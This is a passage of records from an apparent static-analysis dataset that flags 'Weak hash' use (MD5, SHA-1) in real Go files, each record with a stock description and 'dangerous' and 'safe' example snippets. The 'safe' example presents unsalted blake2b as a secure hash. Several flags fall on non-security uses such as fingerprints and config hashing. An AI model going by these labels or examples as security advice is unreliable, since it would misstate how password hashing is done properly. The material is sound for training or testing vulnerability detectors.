\"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "a21bc28f0185421e43b92ec4f3508cb7dc7c63f4b17ce4b297456f94387ad0da", "license": {"spdx": ["MIT"], "repo": "huoyu123/golang-sshd", "path": "server/key_utils.go", "repo_head_hexsha": "c05269903bd7f549f32fb8af307bcb8e712cdb7e", "stack_hexsha": "840bb884864120c7d2d7f585f6c8f8314c00ce2a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package sshd\n\nimport (\n\t\"crypto/md5\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/sha512\"\n\t\"crypto/x509\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\n\t\"golang.org/x/crypto/ssh\"\n)\n\nfunc generateKey(seed string) ([]byte, error) {\n\tvar r io.Reader\n\tif seed == \"\" {\n\t\tr = rand.Reader\n\t} else {\n\t\tr = newDetermRand([]byte(seed))\n\t}\n\n\tpriv, err := rsa.GenerateKey(r, 2048)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = priv.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb := x509.MarshalPKCS1PrivateKey(priv)\n\treturn pem.EncodeToMemory(&pem.Block{Type: \"RSA PRIVATE KEY\", Bytes: b}), nil\n}\n\nfunc fingerprint(k ssh.PublicKey) string {\n\tbytes := md5.Sum(k.Marshal())\n\tstrbytes := make([]string, len(bytes))\n\tfor i, b := range bytes {\n\t\tstrbytes[i] = fmt.Sprintf(\"%02x\", b)\n\t}\n\treturn strings.Join(strbytes, \":\")\n}\n\n//========\n\nconst determRandIter = 2048\n\nfunc newDetermRand(seed []byte) io.Reader {\n\tvar out []byte\n\t//strengthen seed\n\tvar next = seed\n\tfor i := 0; i < determRandIter; i++ {\n\t\tnext, out = splitHash(next)\n\t}\n\treturn &determRand{\n\t\tnext: next,\n\t\tout: out,\n\t}\n}\n\ntype determRand struct {\n\tnext, out []byte\n}\n\nfunc (d *determRand) Read(b []byte) (int, error) {\n\tn := 0\n\tl := len(b)\n\tfor n < l {\n\t\tnext, out := splitHash(d.next)\n\t\tn += copy(b[n:], out)\n\t\td.next = next\n\t}\n\treturn n, nil\n}\n\n//ensures input are always hidden\nfunc splitHash(input []byte) (next []byte, output []byte) {\n\tnextout := sha512.Sum512(input)\n\treturn nextout[:sha512.Size/2], nextout[sha512.Size/2:]\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "e9005650e439274e5409f18adb83b2e02723e999794f0d30786ce19deeaaa37d", "license": {"spdx": ["MIT"], "repo": "alishavvakhi/goinsta", "path": "generator.go", "repo_head_hexsha": "d6b40854399593bc6b50c65955fcd253b6e7f999", "stack_hexsha": "8e9006bd7f413207aebbe03b7c3c9698e6386b3e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package goinsta\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/md5\"\n\t\"crypto/rand\"\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n)\n\nconst (\n\tvolatileSeed = \"12345\"\n)\n\nfunc generateMD5Hash(text string) string {\n\thasher := md5.New()\n\thasher.Write([]byte(text))\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}\n\nfunc generateHMAC(text, key string) string {\n\thasher := hmac.New(sha256.New, []byte(key))\n\thasher.Write([]byte(text))\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}\n\nfunc generateDeviceID(seed string) string {\n\thash := generateMD5Hash(seed + volatileSeed)\n\treturn \"android-\" + hash[:16]\n}\n\nfunc newUUID() (string, error) {\n\tuuid := make([]byte, 16)\n\tn, err := io.ReadFull(rand.Reader, uuid)\n\tif n != len(uuid) || err != nil {\n\t\treturn \"\", err\n\t}\n\t// variant bits; see section 4.1.1\n\tuuid[8] = uuid[8]&^0xc0 | 0x80\n\t// version 4 (pseudo-random); see section 4.1.3\n\tuuid[6] = uuid[6]&^0xf0 | 0x40\n\treturn fmt.Sprintf(\"%x-%x-%x-%x-%x\", uuid[0:4], uuid[4:6], uuid[6:8], uuid[8:10], uuid[10:]), nil\n}\n\nfunc generateUUID() string {\n\tuuid, err := newUUID()\n\tif err != nil {\n\t\treturn \"cb479ee7-a50d-49e7-8b7b-60cc1a105e22\" // default value when error occurred\n\t}\n\treturn uuid\n}\n\nfunc generateSignature(data string) map[string]string {\n\tm := make(map[string]string)\n\tm[\"ig_sig_key_version\"] = goInstaSigKeyVersion\n\tm[\"signed_body\"] = fmt.Sprintf(\n\t\t\"%s.%s\", generateHMAC(data, goInstaIGSigKey), data,\n\t)\n\treturn m\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "79d2f03a74e48a1218acad3e7063e8cfb63b13565fa15e53ed7a2818a852eb9d", "license": {"spdx": ["MIT"], "repo": "jellycheng/gosupport", "path": "md5.go", "repo_head_hexsha": "45034aa5cb1ba8bcae9fe79eca5a5ad07f822f9c", "stack_hexsha": "90f7fc710780eaa48760f03633bf86163179423d", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package gosupport\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n)\n\n//md5加密\nfunc Md5(str string) string {\n\treturn Md5V2(str)\n}\n\n//md5加密\nfunc Md5V1(str string) string {\n\th := md5.New() //返回hash.Hash接口对象\n\th.Write([]byte(str)) //字符串转byte数组,并写入内容\n\thas := h.Sum([]byte(\"\")) //返回[]byte\n\tmd5str := fmt.Sprintf(\"%x\", has)\n\treturn md5str\n}\n\n//使用md5加密方式2\nfunc Md5V2(str string) string {\n\th := md5.New()\n\th.Write([]byte(str))\n\treturn hex.EncodeToString(h.Sum(nil))\n}\n\nfunc Md5V3(str string) string {\n\tw := md5.New()\n\tio.WriteString(w, str)\n\tmd5str := fmt.Sprintf(\"%x\", w.Sum(nil))\n\treturn md5str\n}\n\nfunc Md5V4(s string) string {\n\tm := md5.Sum([]byte(s))\n\treturn hex.EncodeToString(m[:])\n}\n\n//调用示例: gosupport.Md5V5([]byte{'h','e', 'l','l','o',' ', 'w','o','r','l','d'})\nfunc Md5V5(bt []byte) string {\n\th := md5.New()\n\th.Write(bt)\n\treturn hex.EncodeToString(h.Sum(nil))\n}\n\n\n// 获取文件的md5值\nfunc Md5File(path string) (string, error) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\thash := md5.New()\n\thash.Write([]byte(data))\n\treturn hex.EncodeToString(hash.Sum(nil)), nil\n}\n", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "153afcb38fc1f130733ede27c70871a40dba499ed60623fc8464258dcf5337c0", "license": {"spdx": ["Apache-2.0"], "repo": "rtuin/rancher-cli", "path": "vendor/github.com/rancher/rancher-compose-executor/config/hash.go", "repo_head_hexsha": "8520534a2717b0d1e6c9a0097a3482a7612616bf", "stack_hexsha": "24502da03677e57226466f7bb657475ec79a7006", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package config\n\nimport (\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"reflect\"\n\t\"sort\"\n\n\t\"github.com/rancher/rancher-compose-executor/yaml\"\n)\n\n// GetServiceHash computes and returns a hash that will identify a service.\n// This hash will be then used to detect if the service definition/configuration\n// have changed and needs to be recreated.\nfunc GetServiceHash(name string, config *ServiceConfig) string {\n\thash := sha1.New()\n\n\tio.WriteString(hash, name)\n\n\t//Get values of Service through reflection\n\tval := reflect.ValueOf(config).Elem()\n\n\t//Create slice to sort the keys in Service Config, which allow constant hash ordering\n\tserviceKeys := []string{}\n\n\t//Create a data structure of map of values keyed by a string\n\tunsortedKeyValue := make(map[string]interface{})\n\n\t//Get all keys and values in Service Configuration\n\tfor i := 0; i < val.NumField(); i++ {\n\t\tvalueField := val.Field(i)\n\t\tkeyField := val.Type().Field(i)\n\n\t\tserviceKeys = append(serviceKeys, keyField.Name)\n\t\tunsortedKeyValue[keyField.Name] = valueField.Interface()\n\t}\n\n\t//Sort serviceKeys alphabetically\n\tsort.Strings(serviceKeys)\n\n\t//Go through keys and write hash\n\tfor _, serviceKey := range serviceKeys {\n\t\tserviceValue := unsortedKeyValue[serviceKey]\n\n\t\tio.WriteString(hash, fmt.Sprintf(\"\\n %v: \", serviceKey))\n\n\t\tswitch s := serviceValue.(type) {\n\t\tcase yaml.SliceorMap:\n\t\t\tsliceKeys := []string{}\n\t\t\tfor lkey := range s {\n\t\t\t\tsliceKeys = append(sliceKeys, lkey)\n\t\t\t}\n\t\t\tsort.Strings(sliceKeys)\n\n\t\t\tfor _, sliceKey := range sliceKeys {\n\t\t\t\tio.WriteString(hash, fmt.Sprintf(\"%s=%v, \", sliceKey, s[sliceKey]))\n\t\t\t}\n\t\tcase yaml.MaporEqualSlice:\n\t\t\tfor _, sliceKey := range s {\n\t\t\t\tio.WriteString(hash, fmt.Sprintf(\"%s, \", sliceKey))\n\t\t\t}\n\t\tcase yaml.MaporColonSlice:\n\t\t\tfor _, sliceKey := range s {\n\t\t\t\tio.WriteString(hash, fmt.Sprintf(\"%s, \", sliceKey))\n\t\t\t}\n\t\tcase yaml.MaporSpaceSlice:\n\t\t\tfor _, sliceKey := range s {\n\t\t\t\tio.WriteString(hash, fmt.Sprintf(\"%s, \", sliceKey))\n\t\t\t}\n\t\tcase yaml.Command:\n\t\t\tfor _, sliceKey := range s {\n\t\t\t\tio.WriteString(hash, fmt.Sprintf(\"%s, \", sliceKey))\n\t\t\t}\n\t\tcase yaml.Stringorslice:\n\t\t\tsort.Strings(s)\n\n\t\t\tfor _, sliceKey := range s {\n\t\t\t\tio.WriteString(hash, fmt.Sprintf(\"%s, \", sliceKey))\n\t\t\t}\n\t\tcase []string:\n\t\t\tsliceKeys := s\n\t\t\tsort.Strings(sliceKeys)\n\n\t\t\tfor _, sliceKey := range sliceKeys {\n\t\t\t\tio.WriteString(hash, fmt.Sprintf(\"%s, \", sliceKey))\n\t\t\t}\n\t\tdefault:\n\t\t\tio.WriteString(hash, fmt.Sprintf(\"%v\", serviceValue))\n\t\t}\n\t}\n\n\treturn hex.EncodeToString(hash.Sum(nil))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "8b4fdb4a6a5d973f2bbbfd0acb7d26b85340d43c4351ee89b22ef7c0a15d7a0b", "license": {"spdx": ["MIT"], "repo": "jcbritobr/gocrypto-study", "path": "hash/sha_test.go", "repo_head_hexsha": "25502fe2e887b28ec3b8a9a86f9124755504b44b", "stack_hexsha": "1879b6b956a2b00b6a727a8b5a98cf75fba32633", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package hash\n\nimport (\n\t\"crypto/sha1\"\n\t\"testing\"\n)\n\nfunc TestShaFamily(t *testing.T) {\n\tmessage := \"the quick brown fox jumps over the lazy dog\"\n\tt.Log(message)\n\th := sha1.New()\n\th.Write([]byte(message))\n\tbs := h.Sum(nil)\n\tt.Logf(\"SHA1 hex: %x\\n\", bs)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "fc8bb26dbef7990e12d6ce7d625058c62eb90d8998236e4285b4fe24f0d85fd8", "license": {"spdx": ["BSD-3-Clause"], "repo": "steelman/u-root", "path": "pkg/wpa/passphrase/passphrase.go", "repo_head_hexsha": "bf9baac298ba6e9c5da6c9c753bebe0097581c99", "stack_hexsha": "e3093ded6d1e01cc96f40ce9327a9a2234acaf31", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package passphrase\n\nimport (\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\n\t\"golang.org/x/crypto/pbkdf2\"\n)\n\nconst (\n\tMinPassLen = 8\n\tMaxPassLen = 63\n\tResultFormat = `network={\n\tssid=\"%s\"\n\t#psk=\"%s\"\n\tpsk=%s\n}\n`\n)\n\nfunc errorCheck(essid string, pass string) error {\n\tif len(pass) < MinPassLen || len(pass) > MaxPassLen {\n\t\treturn fmt.Errorf(\"Passphrase must be 8..63 characters\")\n\t}\n\tif len(essid) == 0 {\n\t\treturn fmt.Errorf(\"essid cannot be empty\")\n\t}\n\treturn nil\n}\n\nfunc Run(essid string, pass string) ([]byte, error) {\n\tif err := errorCheck(essid, pass); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// There is a possible security bug here because the salt is the essid which is\n\t// static and shared across access points. Thus this salt is not sufficiently random.\n\t// This issue has been reported to the responsible parties. Since this matches the\n\t// current implementation of wpa_passphrase.c, this will maintain until futher notice.\n\tpskBinary := pbkdf2.Key([]byte(pass), []byte(essid), 4096, 32, sha1.New)\n\tpskHexString := hex.EncodeToString(pskBinary)\n\treturn []byte(fmt.Sprintf(ResultFormat, essid, pass, pskHexString)), nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "80a860d61e96e51b0e07958056b77a454d6baae01ef4908db2275ce769098fa4", "license": {"spdx": ["Apache-2.0"], "repo": "samtake/ecology", "path": "appgo/router/web/account/api.go", "repo_head_hexsha": "6cd7c1a325678735c24fa3c16f24ccc1ff07e566", "stack_hexsha": "24f3ddfb4ba5b0f6d41a74ea69a4bb6b2bd3f1d3", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package account\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/dchest/captcha\"\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/i2eco/ecology/appgo/dao\"\n\t\"github.com/i2eco/ecology/appgo/model\"\n\t\"github.com/i2eco/ecology/appgo/model/mysql\"\n\t\"github.com/i2eco/ecology/appgo/pkg/code\"\n\t\"github.com/i2eco/ecology/appgo/pkg/conf\"\n\t\"github.com/i2eco/ecology/appgo/pkg/mus\"\n\t\"github.com/i2eco/ecology/appgo/pkg/utils\"\n\t\"github.com/i2eco/ecology/appgo/router/core\"\n\t\"github.com/i2eco/ecology/appgo/service\"\n\t\"github.com/spf13/viper\"\n)\n\nfunc LoginApi(c *core.Context) {\n\tvar (\n\t\tremember model.CookieRemember\n\t\t//captchaOn bool //是否开启了验证码\n\t)\n\n\taccount, flag1 := c.GetPostForm(\"account\")\n\tif !flag1 {\n\t\tc.JSONErrTips(\"账户不能为空\", nil)\n\t\treturn\n\t}\n\tpassword, flag2 := c.GetPostForm(\"password\")\n\tif !flag2 {\n\t\tc.JSONErrTips(\"密码不能为空\", nil)\n\t\treturn\n\t}\n\n\tcaptchaId := c.PostForm(\"captchaId\")\n\tcaptchaValue := c.PostForm(\"captcha\")\n\n\t// 如果开启了验证码\n\tif dao.Global.IsEnabledCaptcha() && !captcha.VerifyString(captchaId, captchaValue) {\n\t\tc.JSONErrTips(\"验证码不正确\", nil)\n\t\treturn\n\t}\n\n\tmember, err := dao.Member.Login(account, password)\n\n\t//如果没有数据\n\tif err != nil {\n\t\tc.JSONErrTips(\"账户名或者密码错误\", err)\n\t\treturn\n\t}\n\n\terr = dao.Member.UpdateX(c.Context, mus.Db, mysql.Conds{\n\t\t\"member_id\": member.MemberId,\n\t}, mysql.Ups{\n\t\t\"last_login_time\": time.Now(),\n\t})\n\tif err != nil {\n\t\tc.JSONErrTips(\"系统错误1\", err)\n\t\treturn\n\t}\n\terr = c.UpdateUser(member)\n\tif err != nil {\n\t\tc.JSONErrTips(\"系统错误2\", err)\n\t\treturn\n\t}\n\tremember.MemberId = member.MemberId\n\tremember.Account = member.Account\n\tremember.Time = time.Now()\n\tv, err := utils.Encode(remember)\n\tif err != nil {\n\t\tc.JSONErrTips(\"系统错误3\", err)\n\t\treturn\n\t}\n\tSetSecureCookie(c.Context, conf.Conf.App.AppKey, \"login\", v, 24*3600*365)\n\tc.JSONOK()\n}\n\n//用户注册.[移除用户注册,直接叫用户绑定]\n//注意:如果用户输入的账号密码跟现有的账号密码相一致,则表示绑定账号,否则表示注册新账号。\nfunc BindApi(c *core.Context) {\n\tvar req ReqBind\n\terr := c.Bind(&req)\n\tif err != nil {\n\t\tc.JSONErr(code.AccountBindErr1, err)\n\t\treturn\n\t}\n\toptions := dao.Global.AllOptions()\n\n\tibind := func(oauthType string, oauthId, memberId interface{}) (err error) {\n\t\t//注册成功,绑定用户\n\t\tswitch oauthType {\n\t\tcase \"gitee\":\n\t\t\t//err = mysql.ModelGitee.Bind(oauthId, memberId)\n\t\tcase \"github\":\n\t\t\t//err = mysql.ModelGithub.Bind(oauthId, memberId)\n\t\tcase \"qq\":\n\t\t\terr = mysql.ModelQQ.Bind(oauthId, memberId)\n\t\t}\n\t\treturn\n\t}\n\n\tif req.OauthType != \"email\" {\n\t\t//if auth, ok := this.GetSession(\"auth\").(string); !ok || fmt.Sprintf(\"%v-%v\", oauthType, oauthId) != auth {\n\t\t//\tc.JSONErr(6005,errors.New(\"绑定信息有误,授权类型不符\"))\n\t\t//\treturn\n\t\t//}\n\t} else { //邮箱登录,如果开启了验证码,则对验证码进行校验\n\t\tif v, ok := options[\"ENABLED_CAPTCHA\"]; ok && strings.EqualFold(v, \"true\") {\n\t\t\t//if !cpt.VerifyReq(c.Context.Request) {\n\t\t\t//\tc.JSONErrStr(1, \"验证码不正确\")\n\t\t\t//}\n\t\t}\n\t}\n\n\tmember := mysql.NewMember()\n\n\tif req.IsBind == 1 {\n\t\tif member, err = dao.Member.Login(req.Account, req.Password1); err != nil || member.MemberId == 0 {\n\t\t\tc.JSONErr(code.AccountBindErr2, err)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tif req.Password1 != req.Password2 {\n\t\t\tc.JSONErr(code.AccountBindErr3, err)\n\t\t\treturn\n\t\t}\n\n\t\tif ok, err := regexp.MatchString(conf.RegexpAccount, req.Account); req.Account == \"\" || !ok || err != nil {\n\t\t\tc.JSONErr(code.AccountBindErr4, err)\n\t\t\treturn\n\t\t}\n\t\tif l := strings.Count(req.Password1, \"\"); req.Password1 == \"\" || l > 50 || l < 6 {\n\t\t\tc.JSONErr(code.AccountBindErr5, err)\n\t\t\treturn\n\t\t}\n\n\t\tif ok, err := regexp.MatchString(conf.RegexpEmail, req.Email); !ok || err != nil || req.Email == \"\" {\n\t\t\tc.JSONErr(code.AccountBindErr6, err)\n\t\t\treturn\n\t\t}\n\t\tif l := strings.Count(req.Nickname, \"\") - 1; l < 2 || l > 20 {\n\t\t\tc.JSONErr(code.AccountBindErr7, err)\n\t\t\treturn\n\t\t}\n\n\t\t//出错或者用户不存在,则重新注册用户,否则直接登录\n\t\tmember.Account = req.Account\n\t\tmember.Nickname = req.Nickname\n\t\tmember.Password = \n\t\tmember.Role = conf.MemberGeneralRole\n\t\tmember.Avatar = conf.GetDefaultAvatar()\n\t\tmember.CreateAt = 0\n\t\tmember.Email = req.Email\n\t\tmember.Status = 0\n\t\tif len(req.Avatar) > 0 {\n\t\t\tmember.Avatar = req.Avatar\n\t\t}\n\t\tif err := dao.Member.CreateX(c.Context, member); err != nil {\n\t\t\tc.JSONErr(code.AccountBindErr8, err)\n\t\t\treturn\n\t\t}\n\t}\n\tif err = loginByMemberId(c, member.MemberId); err != nil {\n\t\tc.JSONErr(code.AccountBindErr9, err)\n\t\treturn\n\t}\n\n\tif err = ibind(req.OauthType, req.OauthId, member.MemberId); err != nil {\n\t\tc.JSONErr(code.AccountBindErr10, err)\n\t\treturn\n\t}\n\n\tif req.OauthType == \"email\" {\n\t\tc.JSONOK(\"注册成功\")\n\t\treturn\n\t}\n\tc.JSONOK(\"登录成功\")\n}\n\nfunc loginByMemberId(c *core.Context, memberId int) (err error) {\n\tmember, err := dao.Member.Find(memberId)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = dao.Member.UpdateX(c.Context, mus.Db, mysql.Conds{\n\t\t\"member_id\": member.MemberId,\n\t}, mysql.Ups{\n\t\t\"last_login_time\": time.Now(),\n\t})\n\n\terr = c.UpdateUser(member)\n\tif err != nil {\n\t\tc.JSONErr(code.MsgErr, err)\n\t\treturn\n\t}\n\tvar remember 